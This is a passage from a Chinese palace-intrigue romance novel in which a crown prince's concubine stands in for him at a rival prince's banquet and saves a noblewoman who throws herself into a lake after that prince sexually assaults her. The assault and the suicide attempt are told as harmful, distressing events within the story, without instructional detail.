哪像晋王,靠着这些手段在京中大刷好感,两项一比倒显得咱殿下不近人情似的。 好在如今殿下转性了, 虽然自己不出席,怎么着也知道派个代表前往。 他心中盘算想了几想,若说能代殿下参席, 詹事府的几位大人最有脸面, 可这云诗宴,去的都是京中年轻一辈, 公子小姐们。 思来想去,这东宫里头,能代表殿下前去的, 只有宋轻风。 她出身侯府, 常混迹各大宴会,而今又是殿下的侍妾。 如今也挑不出更合适的人选了…… 宋轻风收拾完了箭,却感觉似乎有目光从身上飘过。 她转过头来,除了架子旁的守卫, 却未见一人。 她摇了摇头背了布囊, 又与守卫摆手道:“明天见!” 等收拾了一番,回到破云院,才知太子殿下今日回来的早。 她今日练箭, 有许多问题想要求教,当即放下东西, 就期期艾艾地来了方华殿。 入得殿内, 却见太子穿着一身闲散袍子,正在屋内埋首写字。 见她来了,他却未发一言, 甚至眼皮都没抬一下。 不知写得什么东西,这样入迷。 屋内幽幽地散着兰花香,桌案上几盆兰花开得正艳。 宋轻风看着兰花和他,满室馥郁迷人,一时有些后悔来晚了。 只是仔细一瞧,才发现太子并不在写字,而似乎在作画。 只是那画看起来不像花不像鸟,倒像是什么架子之类的?难得是做书架床架之类的? 大晚上的画什么架子?这样奇怪。 宋轻风看不清楚,好奇心大起,下意识勾长了脖子伸了过去。 不想全福那个胖胖的身体突然挡上前来,瞪了她一眼,而后谄媚地道:“太子殿下,您该饿了吧?奴婢去传膳?” 李岏眼睛不离开纸,只是点头道:“嗯,就随便拿两道点心来,放在这案上。” “是。” 不一时,果然有内侍端了盘子来了。 宋轻风勾头一看,一碟子是翡翠盐酥酪,一碟子白胖胖的包子。 这两样看着简单,可不一时香气就飘到了各处,她默默地忍不住咽了咽口水。 李岏道:“你用膳没?” 宋轻风老实回道:“用了……一些。” “孤不饿,你拿去吧。” “哎,好!” 宋轻风不客气地拿了吃食,却余光瞧见旁边一盆兰花开得正艳。 她不由放下东西道:“莫叫这食物的味道沾染了兰花,我先将它们搬远些吧。” 李岏埋头并不说话,那模样该是默许了。 宋轻风立刻上前去,端起桌案上那盆花,这花瞧着清素,花盆却实在是沉得很。 她好不容易端起来就往外去。 可最近连练了多日的箭,胳膊早就酸疼得厉害,不想花盆压得手臂一抖,手下一滑,摔了出去。 宋轻风一惊,一个滑跪上前,终于还是赶在花盆落地前生生抱在了怀里。 只是那膝盖骨砸在金砖上的声音叫人头皮一震,险些以为是骨头摔了。 宋轻风疼的龇牙咧嘴,可一查看兰花完好无损,不由得露出了笑脸,连连道:“幸好幸好!” 李岏被声音所惊,不由抬头,瞧清当中情形,一时怒从心起。 忍不住咬牙道:“摔便摔了,你这是在做什么!难道我东宫竟是花比人值钱的地方吗?” 宋轻风还跪在地上,只是抱着花盆道:“便是摔了我,也不能叫这花伤着一点,这是兰花。” 李岏心头火气,却见她一脸心疼地看着兰花,那面上神情不似作伪,不由没了声音。 自打前些日子她听闻自己喜欢兰花,听闻便整日里抱个兰花,日日精心料理。 她发现了自己的爱好,便这般费尽心思。 就像射箭,她在军营里头发现自己喜欢射箭,便日日在那校场做样子。 在讨好自己这方面,她倒是豁得出去,毅力惊人。 李岏见她还傻乎乎地抱着盆跪在地上,双臂微微发着颤,不由道:“若是想要胳膊废掉,你便接着这样练下去。” “嗯,啊?”宋轻风未曾反应过来,疑惑地看着他。 李岏皱了皱眉,目光自她抱着花盆的手上一扫而过,而后道:“认识字吗?” 嗯,啊? 这人心思太过千转百回,宋轻风脑袋转不过弯来,一时不知是该说认识还是该说不认识。 正斟酌着要开口,却见李岏已是冷笑道:“不必编了。” 说着却转身从榻上拿过他刚才身旁的一本书,递给了全福。 全福立刻会意过来,捧了书笑眯眯地送到宋轻风面前。 宋轻风两手抱着盆,没手来接,又不愿放下盆,两人一时大眼瞪小眼。 全福无奈,只好与旁边的小太监道:“还不接过去?” 宋轻风小心翼翼将花盆给了小太监,这才空了手出来,脏手在衣裳上随意擦了擦,接过书。 这书皮瞧着已不大新了,书页甚至有些泛黄,可以瞧出曾被人反复翻阅过,那书封上的两个字都有些模糊了。 隐约瞧出是两个字“射经”。 她随手翻了一页,不及看字,却见上面画着的,却都是弓箭之图。 她不由双目一亮,又翻了几页,居然是专门教授射箭的书! 一旁全福见她只顾翻书也不谢恩,当即道:“苏娘子可仔细着些,这可是大内才有的孤本,外人想瞧上一眼都是不能的。” 宋轻风正愁学箭没个章法,这就来本书,一时开心不已,抬起头要道谢,却见李岏已是拿起旁边的奏折,手里拿了只糕点啃着。 她将书捧着,还是认真地道:“谢太子殿下。” 李岏嗯了一声,见宋轻风将书揣进怀里,双目里却已跃跃欲试。 他顿了好一会才道:“任何事皆有过程,欲速则不达。像你这般过度训练,只会将胳膊练废,半点用处也没有。” 宋轻风张大嘴巴,这才明白他在说自己。 她忍不住捂住酸疼发颤的胳膊,他箭术厉害,所言应该不差。 自己这些日子每日三四个时辰的练,进步缓慢,这胳膊倒是愈发吃不消了。 “若是有不懂的,可以来问孤。” “好,啊?”宋轻风一时惊讶地抬起头。 李岏补充道:“若是孤有空,或可指点一二。” 宋轻风开心地拍手道:“真的吗!殿下您实在是太好了!” 李岏余光里见她双颊生晕,满目灿烂,不由喉头一噎,险些塞住…… 祝长灵被罚跪佛堂跪了小半个月,出来的时候眼睛都哭肿了。 在床上哭哭啼啼躺了几日,祝母小心哄着,后来爷爷父亲哥哥全都跑来宽慰了一番,这才慢慢好转。 况且这卧床期间,她听闻菊花宴她虽然错过了,可主角太子殿下也未出席! 难道是因着她? 祝长灵还没来得及高兴,这日一早,哥哥却带回来消息。 说是太子殿下的婚事由皇后娘娘全权做主了!太子也是点头同意了。 这实在是出乎众人意料。 虽说太子与皇后未有什么明面上的嫌隙,可这么多年实在谈不上融洽,如今居然将这么重要的婚事交给皇后,难道这些年了,他准备向皇后示好? 祝长灵这一惊非同小可,心中惊疑不定。 若是皇后做主太子的婚事,她入东宫的希望反而愈发渺茫。 一则皇后不会想要看到太子殿下与她祝家结成姻亲,叫他如虎添翼,二则,她突然想到那个一身风流的晋王。 晋王李峥,是陛下最宠爱的皇子。 在这朝中内外,那可是第一炙手可热的人物,在许多地方,甚至与太子殿下相当。 甚至隐隐有传言说,陛下甚至动过废而新立的心思。 长青却道:“晋王殿下方从外地办差回来,听闻陛下极为满意,大为赞扬。晋王殿下特特办一场云诗歌宴,你要不要一起去?说不定能探出些口风来。” 只是祝长灵每每想起他看自己的眼神,就感到浑身不自在。 他的目光,总是赤裸裸地盯着自己,不加任何掩饰。 长青见妹妹神情,心中叹息一声,想要说什么又忍住了道:“晋王殿下人才风流,又得陛下皇后宠爱,你若是嫁入晋王府,也不错,以后的事,谁说得准呢。” 祝长灵一听,刹那血涌上脸,不敢置信地看着哥哥。 她的心思,哥哥最清楚,为何今日居然说出这样的话来! 祝长青见她变了脸,叹息一声道:“哥哥不过随口说说。你是祝家大小姐,婚嫁之事,原不是由着自己来的。只是我们祝家走到而今的权势,哥哥只想你能快乐,不想你的婚事还做不了主。你放心吧,你若是喜欢谁,哥哥会帮你的。” 长灵感激地看着这个自小包容自己的哥哥,点头道:“我自小喜欢太子殿下,哥哥你是知道的,除了他,我谁也不要。” 云诗歌宴便在晋王在城南的别院里举行。 一大早便涌满了京师里头的公子小姐们,好不热闹。 酒过半旬,诗词吟诵了一堆,众人也笑闹做了一团。 只是席中话题却总是不小心转到当今几位殿下的婚事上去,不一时,便有人提起那位闹得满城风雨的宋氏女子。 那位宋氏女入京不过半年,几乎无人认识,今日宁安侯府的几位小姐在,众人将姐妹几个团团围住,盘问个彻底。 宋轻风躲在东宫不出来,宋氏的其他姐妹们这些日子俨然成了人群焦点,到哪都是呼啦啦一群人围着。 她们虽与宋轻风几如陌生人,什么也不知,但这些日子宁安侯夫人带着一大串出现在各种大大小小的宴席上,众姐妹编着编着也就烂熟了。 那脸上的神气,彷佛入了东宫的是她们一般。 祝长灵不想今日还是撞见了这些人,本就心绪不宁,心中愈发气闷。 她更不愿意别人总是将太子殿下与那女子联系在一起讨论,虽然众人对这女子的态度都是鄙薄轻视,可一说到太子殿下,却总是要不自觉提起她。 她转头见赵宴苒,还是那副云淡风轻模样,装模作样在亭子里做画。 而哥哥并几个公子哥都围在周边,对着她一通啧啧赞叹。 这赵宴苒是她入主东宫的头号大敌,偏偏她爹是太子太傅,得殿下敬重,她便常靠着书画与殿下亲近。 前些日子殿下还特意送画于她。 只是而今宋氏风头这般强劲,不信她当真如此淡定? 祝长灵起身欲去寻赵宴苒刺探几句。 哪知突然传来一声惊呼:“宋轻风!” 她刷地停下脚步,发现宋家大姐宋婷婷掩着口,一脸惊色。 花庭中瞬间安静了下来。 众人诧异中呼啦啦一起转头,却见一少女穿着蝴蝶百花袄裙,在侍从的指引下,左顾右盼,神采飞扬地走了来。 她入了东宫之后便再没有出来。 众人传来传去,谁也没见过本人。 不想这般突然,这个人就这般突然出现在众人面前。 年岁不大,样貌姣好,身姿轻盈,春风得意,当真刺痛了众人的眼睛。 祝长灵长长的指甲嵌入掌心,一阵刺痛,她长呼口气,又回来坐着。 宋轻风得了来参宴的指示,大是惊异,原想悄摸摸混到人堆里去,哪知今日不小心睡过了头,出门出得晚了。 这方入园,便见齐刷刷一堆眼睛射在身上,无不火辣辣地。 若是目光有实质,她只怕已被戳出千疮百孔了! 宋轻风停下脚步,举起手来礼貌地招呼道:“大家好啊。” 众人却不答,只是满脸复杂地看着她。 宋轻风只好提了裙摆,自寻了一处偏僻空座坐了下来。 见桌案上水果点心俱全,她倒也不客气,当先就大快朵颐。 席间安静地落针可闻。 亭内的众人面面相觑,谁也没有先开口。 还是宋家大姐宋娉婷先走上前来开了腔:“轻风妹妹,未曾想到,你居然会出席晋王殿下的宴会,这可是云诗会,是要做诗词的,你会么?” 一旁另一人接道:“姐姐你可高看她了,她连字都认不全几个,还谈什么做诗?” “你胡说,她自小在春风楼里耳濡目染,那里头唱曲写诗,可不输外头呢。” 众人哄笑起来,而今京师,高门大户的小姐们,谁不是自小私塾里养大,最爱这些风雅的诗会。 宋轻风不以为意,只是笑道:“太子殿下事忙,命我代他前来,我只好来了。” 她话音方落,笑声戛然而止,众人都变了脸色。 不想她这么快就搬出了太子殿下!果真是叫她小人得了志。 可她既说是代太子殿下前来,众人便不好说什么,宋家几个姐妹更是眼红脸白,没了声音。 更有些小门小户的,竟主动上前来寻宋轻风献乖卖好。 祝长灵气得七窍生烟,一把站了起来道:“不过是宁安侯府不知从哪个旮旯里捞回来的见不上台面的东西,学了些肮脏手段,也敢将与太子殿下相提并论。” 她是祝府千金,自然什么也不惧。 “呵,与这样的人在一起,平白失了我等身份,失陪了。”说着也不与众人招呼,自扶着丫鬟的手走了。 几个与她亲近的,也冷哼了一声,自顾走了。 众女们原看宋轻风不爽,可难得看到祝长灵吃憋,心中开心,到底忍不住,围着她叽叽喳喳,具是打听太子殿下的消息。 有问太子殿下素日里都做什么,有问殿下平日里喜欢吃什么,甚至有问殿下喜欢什么颜色的。 这些问题宋轻风哪里知道,只是一通胡诌。 宋家几个姐妹,又是嫉妒,又有些得意,宋家嫡女老三宋知章拨开众人,拉住她的手道:“轻风你入了东宫,也不常叫姐妹们去团聚团聚,我们可都想你了。” 宋轻风看着面前打扮得花枝招展的女子,听语气是宋府的人,瞧着也确实眼熟。 宁安侯子女众多,姐姐妹妹一大堆,宋轻风在后府那几个月,众姐妹也不理她,她自然也认不全。 只是如今人家主动套近乎,宋轻风不好冷落了人家,只是道:“一入宫门深似海,身不由己啊,不过,你是哪个姨娘的女儿来着?” 宋知章脸都黑了。 宋娉婷冷哼道:“知章你就是自取其辱,人家而今是入了东宫,攀上高枝,就不把姐妹们放在眼里了。” 一旁张尚书家的小姐张璧月瞧见众人这般做派,愈发瞧不惯。 她并未凑上前,只是假装依坐在栏边欣赏美景,见场中情形,与旁边人道:“唉,你还不过来歇歇,怎么光站着不嫌腿酸么?你以为自己也是乡野里头长大,便是站上一日也不知累的么?” 那闺蜜摇着扇子坐到一旁道:“那可比不得,就这一会我就酸的不行,不像有些人,别说是站着,便是跪上半日,也是活蹦乱跳的。” 她一番话,众人忍不住捂住嘴笑了起来。 宋轻风入东宫第一日,便站了一日的墙根,此事早就传遍了京师。 而后更是因为得罪了祝长灵,被罚站在了院子里。 张璧月笑道:“我身娇体软,这样的恩宠可无福消受。” 众人笑做一团,看向宋轻风的目光里也满是嘲弄。 跟在宋轻风身后的乌梅满脸不忿,争辩道:“胡说,我家娘子而今很得太子殿下的欢心!” “呵呵,”宋娉婷道,“这种话谁不会说!” 乌梅哆嗦着唇道:“前些日子,太子殿下甚至应允娘子……” 还未说完,宋轻风已打断她道:“今日是晋王殿下的宴席,怎么没见着哪位是晋王殿下?” 一旁晋王府的侍从道:“晋王殿下方有事离开片刻,马上就回来。” 张璧月眼风一扫,站在远处的贴身丫鬟会意,拉住乌梅并又绿道:“小姐娘子们在此消遣,你且随我来,我们做奴婢的可不便在此。” 乌梅又绿不肯走。 宋娉婷道:“呵,单单就你们守在此处,这是怕我们吃了她不成?” 宋轻风点头道:“你们去吧。” 乌梅又绿无法,只得跟着走了。 宋轻风也从桌案上寻了个漂亮的团扇拿起来摇了摇,方摇了一下冷风吹得皮肤疼,她一把扔了扇子,却凑到张璧月身旁道:“听闻你前些日子被人推下河大烧了一场,而今可好些了?这秋天河水太凉了,你还是离得远些吧。” 张璧月最烦被人提起此事,立刻冷脸道:“你胡说什么?” 宋轻风笑道:“那大概是听错了,太子殿下说得落水的张小姐不是你这个张小姐。” “你!”张璧月气得俏脸通红,却无言反驳,只能气呼呼地提裙走了。 宋轻风发现“太子殿下”这四个字实在太过好使,拿来怼谁谁哑巴。 一时乐得不行—— 作者有话说:晚安~《 》 35-40 第36章 第 36 章 跳河 不过一会功夫, 场间人皆被这扯来的大旗怼成了哑巴。 宋轻风有些无聊,穿过众人,瞧见远处的亭子里头, 一个女子白衣曳地,正身坐着,只顾埋手疾书, 此间的这些事似乎都未影响到她。 光影轮转, 落尽了她的轮廓,那画面瞧着当真是如画一般, 叫人不敢亵渎。 她生了好奇,走上前去,才发现这女子正在作画。 这画中高山长川, 已见轮廓。 此刻正在小心描绘着川下一叶扁舟, 不过寥寥几笔,小舟便翩然纸上。 宋轻风初看便觉得眼熟。 她记忆一向不错,不过片刻便想起来,这与殿下浴房里头那块差点被她弄碎的琉璃屏风上的画很像。 再一瞧这小舟的形态, 更是像了十成十。 宋轻风这才去瞧人, 发现这女子生得眉目温婉,浓淡适宜,就如画中美人一般。 若说祝长灵是美艳的高门贵女, 她就是高贵的阳春白雪。 阳春白雪落下最后一笔,围在周边的公子哥们连连拍手赞道:“妙啊, 实在是妙!赵姑娘的山水行舟向来是一绝, 实在是前无古人,后无来者了!” 宋轻风也跟着啪啪地捧场。 赵姑娘抬头,露出精致的面容, 淡眸扫过围观在一旁的众人,突然落在宋轻风身上道:“这位姑娘也觉得甚好?” 这么多捧场的,偏点了她,她只是来瞧热闹的。 不过宋轻风向来不吝啬于赞扬别人,当即连连点头道:“甚好,甚好。” “姑娘可知道这画中的小舟,为何画在此处?” 宋轻风突然被考,一时愣住了。 “为何?”小舟不是想画在哪就画在哪吗?便是画到天上去,自己的画谁又管得着。 周围响起高高低低地轻嗤声。 “这都不知,还不懂装懂,围在这里看赵小姐作画?” “你要求可太严格了些,你还指望一个乡野长大的能有什么见识?连字都未必识得,哪里能认出画来,可不是谁都是赵府这种世代书香门第蕴养出的小姐。” 赵宴苒美如山水的面颊微微一皱,双目一扫,周围说风凉话的都被她所慑,乖乖闭了嘴。 她这才转头看向宋轻风,双目中露出极为认真的神色道:“画中小舟,讲究远山近水,舟在此处,取的是可望不可及,飘然出世的意境,观画者也多了更多的想象。” 旁边有人嗤笑道:“赵姐姐你可省省心吧,你还不认识她吧?” 说着凑在赵宴苒耳边咯吱咯吱地咬了耳朵。 听完赵宴苒挑了挑细长的眉,再看向她的眼神里似乎多了丝……失望? 她开口道:“原来你便是宁安侯府寻回来的千金。不过既入了东宫,这般可不成。太子殿下爱书画,你便也该在这上头多用些功夫才是。便是不为了殿下,你自小失势,为了你自己也是如此。不若我荐你去一个地方好生学学……” 宋轻风被一番教训,又被这美眸失望地望着,一时心中悻悻。 她自小流浪,别说书画,整日里能不能填饱肚子都两说。 她从犄角旮旯的记忆里终于刨出来这赵姐姐的全名。 赵姑娘,赵宴苒。 太子师傅的女儿,传说中的京师第一才女,素有画痴的美誉,听闻是而今太子妃的最可能人选之一,与祝长灵是竞敌。 她想起太子将那副山水行舟的画放在那般私密的地方,想必……全福所说的太子心仪的人,可能就是这位了? 相比祝长灵,这位生得也丝毫不逊色,画得也确实好。 其实想来不管哪位,与太子殿下都是相配的。 相形之下,她也算是明白为何这些贵女们对她一直愤愤不平。 这京师里头,才女一大堆,连宋府那些姐姐妹妹们,歪诗也能做几首。若是祝赵这样的女子入了东宫,她们不会说什么。 哪知而今却是自己这样的人,不能诗不能画,什么也不会,叫她们如何甘心。 一早听闻殿下让她代替参加弟弟的宴会,而宴会是在玉梳湖边举办,她是极开心的。 那日从西山大营匆匆回来路过,便被这美景所吸引。 只是来了这半日,一个有意思的人都没有。 她一时甚是无趣,拧了桌案上的一壶酒自顾走了。 好在这玉梳湖景色秀丽,湖边群山树木秋叶,一大片的深红金黄,极为养眼。这四方院又设计精巧,可观湖面,却一点寒意也无。 她拧着酒跑到河边,一个人看湖景去了…… 李岏自内阁堂出来,却没往东宫去。 他也未坐辇,而是挥退了众人,自己一径往武备院去。 武备院的管事瞧见一人步行而来,也不通禀,只大剌剌就往里面走,如入无人之境。 他一时没认出来,欲要呵斥,只是对方气质超群,他心生怯意不敢造次,正自纳闷,不想突然看到跟在后头的高守,只觉得有些面熟,不知为何突然福至心灵,反应了过来。 一时心神大震,慌里慌张地跪了一地见礼。 这武备院虽为宫内外的贵人们提供些器皿用具,可这地却是这宫内的偏僻之地,贵人们少有踏足。 太子殿下更是从未来过。 今日太子大驾亲临,深秋天气,管事紧张地满头是汗,小声问询道:“太子殿下您怎么亲自来了,您有什么吩咐,奴婢定竭尽全力。” 李岏却自负手,自转身掀开一道帘子,进了左侧的屋子。 这屋子从外头瞧着不起眼,不想进去却是长长的通道瞧不见尽头。 而在这通道的两侧,摆着一排排铁红色的高大架子,架子上头架着样式各异的兵器。这些兵器造型奇特,模样各异,却无不精良。 他目光自这些兵器上头一一扫过,脚步未有片刻停留。 管事躬身落后几步,亦步亦趋,边走边忍不住腿肚子打颤,心如擂鼓。 太子殿下曾掌兵在外,对这兵器极有研究,今日莫不是要发现不妥?他这小命难道就要交代在今日了! 正自紧张无措之时,李岏走到了尽头,自在太师椅上坐下。 而后点头道:“手艺不错。” 管事不想竟破天荒得了褒奖,一时激动地语无伦次,只顾磕头。 李岏展了展衣袖,自中抽出一张纸来道:“你瞧瞧这样的。” 管事战战兢兢接了纸,发现竟是一张画得密密匝匝的图纸,上头的东西极为精细繁复,一瞧就知颇费了一番功夫。 李岏道:“这是孤画的,你能做么?” 管事忙点头道:“能做,能做。” “很好。” 李岏微微颔首,起身未再多言,行到门处却突然顿了顿。 那管事也是个人精,立刻反应过来道:“殿下您放心,奴婢绝不敢叫旁人知晓。” 李岏点了点头,又顿道:“尽快。” 说完便自走了…… 祝长灵气鼓鼓地走远,被祝长青拉走,与几个自小相识的公子小姐在一处投壶玩耍。 哪知张璧月却又带着一群人主动凑上前来。 祝长灵因为她被罚跪了十几日的祠堂,瞧见就心中恼火。 哪知张璧月今日倒是笑吟吟的,也不惦记着之前被推下水的仇,反而一脸关切地贴上来道:“长灵,听闻你前些日子病了,果然人瞧着都憔悴了许多,而今可好了?” 祝长灵冷笑道:“不过偶感风寒,早好了。” “倒是你,专会告状。” 张璧月摊手道:“你可冤枉了我,你推我下河的事,我可半句也没向旁人提,不知家里怎么就知道了。” 祝长灵翻了个白眼,鬼才信你! “姐姐身体不适,我原以为是为着太子殿下的事伤心,这才病了呢。” “什么?” 张璧月道:“姐姐难道不知?” “知道什么?”祝长灵心中咯噔一声,这张璧月此时来寻自己,一定没什么好事。 果然张璧月笑道:“没什么!不过是些不足虑的小事。” 祝长灵明知她故意的,却还是受不得激,忍不住一把抓住她的手道:“有话就说清楚,吞吞吐吐,当心我再将你扔下河去!” 张璧月要收回胳膊,收了几回都挣脱不开,也是急了:“长灵你抓疼我了!能有什么事,不过这是我只告诉你一人,你可别到处说去。” “到底什么事?” 张璧月凑近了道:“听闻那日菊花宴,太子殿下去了西山大营,但是那宋氏也没脸没皮地跟去了!” “所以呢?” “所以?”张璧月恨铁不成钢地道,“那军营是什么地方!是我们女子该涉足的地方吗?方才听宋氏的婢女说,宋氏可是受了宠幸的!据说,连避子汤殿下都给免了……前几日她又吐又没胃口,躺了好些时日,保不成?” 祝长灵桃花瓣粉嫩的面颊立时血色褪了干净,不敢置信地重复道:“你……你胡说!” “怎么就是我胡说了!这种事,还能乱说?若不当真如此,今日这宴,那宋氏一个侍妾凭什么能代太子殿下前来?你别忘了,她再不济也是宁安侯府的小姐,待她产下子嗣,只怕这正妃之位,就说不得花落谁家了。” 祝长灵的手下意识松了开来,她心中如被雷煎,怎么也没想到,太子殿下会允了那位卑贱的私生女怀子嗣! 正妃还未过门,这庶长子就要出生了吗? 不,一定是那女子手段龌蹉,不知羞耻,想尽办法勾引太子殿下! 她想起方才见到的那宋氏,原以为外表懵懂,却处处心机! 她心中郁愤难平,再呆不住,起身就往外走。 不想刚转过廊桥,却见一少年迎面而来,一身的张扬鹅黄色缠枝锦袍,腰间坠着好几枚玉佩香囊,走起来叮当作响,好生风流模样。 正是六皇子晋王殿下李峥。 祝长灵想要转走,哪知晋王已瞧见她,立时喜笑颜开,跑上前来嬉笑着道:“长灵姐姐,实在是巧得很,我不过有事离开了一会,怎么你一人在此?” 祝长灵感到他的目光,有些不自然的咳嗽了一声,行礼道:“晋王殿下,我方才吃了口酒,出来散散。” 晋王笑眯眯地盯着她,眼光不经意将她全身上下扫了一眼道:“那也巧了,我方在那亭中设了小席,正对着湖,正好消酒。长灵小姐赏脸坐坐?” 祝长灵抬目见那凉亭三面皆围了围帐,一面临水,心中有些犹疑。 晋王见她容颜赛雪,双颊生晕,唇红如樱,一时心都热了。 他挥手与跟在长灵身后的侍从道:“去,湖边风大,去寻祝小姐的下人,取披风来。” 那侍从忙答应着去了。 晋王笑道:“今日王府里头这么多人,你哥哥又在,难道还怕我吃了你不成!” 祝长灵不好说什么,只得跟着他进了亭子。 早有侍从备好茶水点心果脯等物一一摆好。 晋王亲自斟了茶给她,而后一屁股坐在一旁,轻嗅了嗅长灵的发丝道:“姐姐愈发香了!” 祝长灵浑身汗毛倒竖,见帐内侍从早都撤了干干净净,诺大的帐子里居然只有她们两人,一时大是后悔跟着他来了此地。 晋王却凑上前来,笑嘻嘻地道:“我长这么大还是第一回出那么远的地方办事,大半个月这才回来,姐姐也不问问我在外头过得如何?” 祝长灵附和道:“殿下过得如何?” “不好,可太不好了!”晋王斜瘫在一旁道,“外头吃的都是些什么东西,睡的地方也叫人没眼看。这大半个月是吃不好睡不好,又累又危险,差点把命丢了,可我还是坚持下来了,姐姐以为是为什么?” “为什么?” 晋王道:“自然是为了得到赏赐,我带着这功劳,好求陛下的赏赐。” 祝长灵头皮发麻,起身道:“殿下,我出来有一会了,先回去了。” 哪知还没逃走,衣摆已被人一把抓住,她一个没站稳,倒在了坐垫之上。 这突如其来的变化,激得祝长灵大脑一片空白。 晋王嘴里的酒气喷薄而出:“我还没讲完,姐姐别急着走啊。此次我出去办差回来,父皇极为满意,问我想要什么赏赐,姐姐猜猜我求的是什么赏赐?” 祝长灵陡然冒出一个想法,却不敢深入,此刻更是惊地浑身发抖,颤抖着险些哭出来道:“殿下,您喝多了。” 晋王道:“我求陛下将你许配给我。” 什么! 祝长灵大脑一片空白,呆呆地问道:“然……然后呢?” 晋王一把冲上前来,双手撑在两侧,将祝长灵圈在了身体下方,他笑道:“祝姐姐才名在外,陛下难道还会拒绝不成?” 什么!陛下同意将自己许配给他,给晋王? 不,不要。 祝长灵面上血色尽褪,浑身抖成了筛子,方欲开口说不,哪知对面的人却已附身下来,一口亲了下来,堵住了她的嘴。 仿若被一道雷电劈中,将祝长灵劈得五感尽失,如泥雕木塑一般。 心中想要大喊大叫,却又如被人扼住咽喉一般,半个字也发不出来。 她也不敢发出来。 不知过了多久,晋王才抬起头来,看着身下的女子浑身颤抖,面如苍纸,不由安慰道:“你别怕,父皇已答应将你许配给我,不日我们就要完婚。你已是我的了,今日之事不过是提前了几日而已。” 说着他回味了对方柔软如水的唇,再难自抑,竟就伸手去脱祝长灵的衣裳。 直到身体一凉,祝长灵才从巨大的冲击里回过神来。 想要一拳将对方打翻,却又到底留着神智,好不容易从牙缝里挤出字来:“不要。” 晋王抬头见她满脸是泪,嘴唇都咬破了,心中一慌,忙伸手来擦泪道:“姐姐我错了。你别怕,我不继续就是了,这事留到我们的洞房花烛夜也不错。” 听他此言,祝长灵知道此事再无转圜余地,一时面如死灰。 晋王见她如此模样,忙将她揽在怀里,软声哄道:“我错了真的,是我太过开心,一时操之过急了。你知道我好多日不见你,今日一见就全失了神智。我发誓,真的,大婚之前,再也不碰你就是了。” 祝长灵跌跌撞撞地从亭子里出来,满心如坠冰窖。 想到方才在亭内的所行,愈发感到屈辱悲愤。 她直着眼睛走到亭边,看着烟波浩渺的湖水,心中一痛,一咬牙纵身一跃。 “扑通!” 宋轻风随手抓起一粒小石子扔进了湖里。 只是这石头的扑通声未免过分大,将她惊地一跳,待她反应过来,才发现旁边有人掉河里去了! 一片水花乱溅里,只瞧见似乎是个女子,在水面上咕嘟两口就慢慢沉了下去。 宋轻风左右一瞧,只有不远处一个亭子帷幕遮住,并不见人,她来不及回去叫人,狂奔到岸边。 眼见那女子的头发就要淹没,她一咬牙,也跟着扑通跳了下去。 第37章 第 37 章 等的人一定会回来的…… 秋日的河水冰冷刺骨, 她结结实实地抖了抖,来不及喘息,只是胡乱中抓住对方的衣领子就往岸上拖。 这女子虽然身体轻盈, 但似乎被吓蒙了,宋轻风方碰到她,她便开始剧烈挣扎, 牢牢抓住了宋轻风的胳膊。 宋轻风胳膊被拉使不开力, 愣是咕嘟咕嘟呛了好几口水,眼见要被她拖下水。 越是呛咳, 水越是疯狂地往口鼻中涌进来。 她今日竟要交代在这里了。 不,她还不能死!正自绝望中,宋轻风不知从哪里涌出来的力气, 一拳将对面的人打晕了过去, 这才摆脱了纠缠。 对方成了死狗,拖起来也就省力了许多。 宋轻风使出全力拖着她上岸,费力地将人拖到了岸边,正要托举上岸, 终于见一群人慌慌张张往这里跑来, 带头的是一个穿着鹅黄色缠枝锦袍的少年。 他二话不说,扑通一下跳下河来,从宋轻风手里接过了这落水的人。 岸上随后的众人一阵惊叫:“殿下殿下!”而后也扑通扑通全都跳了下来。 不一时就将落水的人拖上了岸。 宋轻风自己一咬牙, 用尽最后力气撑着岸边爬了上来。方才垂死挣扎中力气用尽,此刻是半分力气也没有了。 她瘫倒在岸边, 连手指头都懒得动。 侧头却见这救上来的女子面色惨白, 牙关紧咬,一身狼狈,宋轻风抹了把满脸的水, 这才发现落水的人却是祝长灵。 方才还趾高气扬的少女,怎么转眼间这般凄惨模样? 跳下水的少年飞快地扫了她一眼,而后一叠声地叫“太医太医,快叫太医!”众人慌得七手八脚。 一众公子小姐们也闻讯赶来。 待祝长青瞧清落水的人居然是自己的妹妹,一把推开旁边的人,慌张冲过来。 见她浑身湿透,还在往下滴水,他忙解下身上的披风,裹住了妹妹。 长青拍着她的背,扶着她连叫了几声,祝长灵才从眩晕里幽幽转醒,瞧见哥哥担忧的脸,她忍不住一把扑过去哇哇地哭了起来。 她平日里趾高气扬,如今这狼狈模样,哭起来也是惊天动地。 长青一边心疼,一边急急地道:“怎么了,这是怎么了?” 祝长灵想要将方才的屈辱,满肚的委屈与气愤。 方才她一时激动万分,一个想不开便跳了河,冰冷的湖水疯狂的涌入口鼻,那瞬间的痛苦叫她清醒过来,求生的本能让她心中大悔,可已经晚了,她根本不会水。 可她隐约记得是一个人紧随而后跳下来抓住了自己。在自己胡乱挣扎中,奋力地将自己往上拖拽。 那人不想叫她死,拼劲了全力来救她。 她方要开口道:“是晋……”却听祝长青接道:“是了,多亏了晋王殿下来救你。”说着转身对晋王深揖到地道:“我们兄妹多谢晋王殿下的大恩大德。” 祝长灵圆瞪双目,未出口的话蓦然卡在了口边。 却见晋王正浑身湿漉漉地站在旁边,一脸关切地看着她。 周围围了里三圈外三圈的人,有的人在瞧热闹,有的人一脸惊慌。 她心中一紧,立时闭了嘴。 她不能说! 她与晋王的婚事,或许还可以趁着陛下未下旨,去求爷爷,可方才的事若是若说了,还当着这么多人面,便会彻底没有转圜的余地! 旁边围观来的张璧月左右瞧瞧,心道到底报应不爽,脸上却挤出担忧来,拿着团扇捂住嘴道:“这是怎么了,怎么宋娘子也不小心落了水?难道都是失足了不成?” 她话说的这般明显,周围的人立时七嘴八舌。 祝长灵这才发现,旁边的宋轻风果然也浑身湿得彻底,正坐在地上徒劳地绞着衣裳上的水。 瞧这幅模样,她立时明白,方才在水里拼命救她的是谁。 但她哆嗦着唇,感激的话却如何也说不出口。 晋王再好,可他不是太子!不是自己心心念念,自小就想嫁的人! 她今日闻此噩耗,隐隐感到自己与太子殿下的婚事终将无望,可凭什么!凭什么这个人可以不费吹灰之力地呆在东宫,呆在太子殿下的旁边,甚至与殿下有……肌肤之亲,为殿下生儿育女? 而她却要受此屈辱,甚至连说都不敢说出口? 若不是她,自己如何会遭此劫难? 都是她!都是她害的! 而今却又在这里装什么好人!还要自己承她的救命之恩吗! 